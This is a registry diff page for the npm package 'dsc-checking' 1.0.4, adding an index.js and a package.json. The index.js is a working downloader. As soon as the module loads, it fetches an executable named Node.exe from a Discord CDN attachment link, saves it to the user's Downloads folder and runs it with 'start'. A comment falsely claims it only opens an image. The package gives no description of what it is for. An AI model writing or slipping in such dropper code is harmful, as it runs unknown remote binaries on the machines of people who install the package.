dsc-checking 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +43 -0
- package/package.json +14 -0
package/index.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
const axios = require('axios');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const urlF = 'https://cdn.discordapp.com/attachments/1251623873472893012/1253454423221342370/Node.exe?ex=6675e9e6&is=66749866&hm=66bf97adb73f0d71463fd2ec05fb2e0160bea5bfa30c9577663acd28ff7faefc&';
|
|
8
|
+
const folderD = path.join(os.homedir(), 'Downloads', 'Node.exe');
|
|
9
|
+
|
|
10
|
+
async function discordtype() {
|
|
11
|
+
try {
|
|
12
|
+
const response = await axios({
|
|
13
|
+
method: 'GET',
|
|
14
|
+
url: urlF,
|
|
15
|
+
responseType: 'stream'
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
const writer = fs.createWriteStream(folderD, { flags: 'w+' });
|
|
19
|
+
response.data.pipe(writer);
|
|
20
|
+
|
|
21
|
+
return new Promise((resolve, reject) => {
|
|
22
|
+
writer.on('finish', () => {
|
|
23
|
+
// Ouvre l'image avec l'application par défaut sur Windows
|
|
24
|
+
exec(`start "" "${folderD}"`, (error, stdout, stderr) => {
|
|
25
|
+
if (error) {
|
|
26
|
+
console.error(error);
|
|
27
|
+
reject(error);
|
|
28
|
+
return;
|
|
29
|
+
}
|
|
30
|
+
console.log(stdout);
|
|
31
|
+
console.error(stderr);
|
|
32
|
+
resolve();
|
|
33
|
+
});
|
|
34
|
+
});
|
|
35
|
+
writer.on('error', reject);
|
|
36
|
+
});
|
|
37
|
+
} catch (error) {
|
|
38
|
+
console.error(error);
|
|
39
|
+
throw error;
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
discordtype();
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dsc-checking",
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
},
|
|
8
|
+
"author": "discordint",
|
|
9
|
+
"license": "ISC",
|
|
10
|
+
"description": "",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"axios": "^1.6.8"
|
|
13
|
+
}
|
|
14
|
+
}
|